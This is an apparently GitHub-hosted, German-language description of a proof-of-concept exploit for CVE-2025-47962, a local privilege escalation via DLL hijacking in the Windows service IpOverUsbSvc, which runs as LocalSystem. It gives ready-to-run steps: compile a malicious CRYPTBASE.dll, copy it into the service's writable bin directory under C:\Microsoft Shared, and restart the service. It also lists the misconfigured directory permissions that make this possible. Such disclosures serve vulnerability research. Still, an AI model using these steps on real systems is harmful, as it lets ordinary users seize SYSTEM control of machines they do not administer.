q1uf3ng/cve-2025-47962-pocProof-of-concept für CVE-2025-47962, das lokale Privilegienerweiterung über DLL-Hijacking im Windows-Dienst IpOverUsbSvc aufgrund unsicherer Verzeichnisberechtigungen demonstriert.
Reproduktionsprozess: i686-w64-mingw32-gcc -shared -o CRYPTBASE.dll poc.c -lkernel32
copy CRYPTBASE.dll "C:\Microsoft Shared\Phone Tools\CoreCon\11.0\bin\CRYPTBASE.dll"
net stop IpOverUsbSvc
net start IpOverUsbSvc
Erklärung: IpOverUsbSvc
SERVICE_NAME: IpOverUsbSvc
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
BINARY_PATH_NAME : "C:\Microsoft Shared\Phone Tools\CoreCon\11.0\bin\IpOverUsbSvc.exe"
SERVICE_START_NAME : LocalSystem
Läuft mit LocalSystem-Berechtigungen. Die ausführbare Datei befindet sich im Verzeichnis C:\Microsoft Shared, über das Standardbenutzer volle Kontrollberechtigungen besitzen.
Es wurde festgestellt, dass normale Benutzer Dateien in das SYSTEM-Dienstverzeichnis schreiben können.
Dann überwachen Sie die DLL
Die Berechtigungen für das während der Windows-SDK-Installation erstellte Verzeichnis C:\Microsoft Shared\ sind falsch konfiguriert:
C:\Microsoft Shared BUILTIN\Users:(I)(OI)(CI)(F)
NT AUTHORITY\Authenticated Users:(I)(OI)(CI)(M)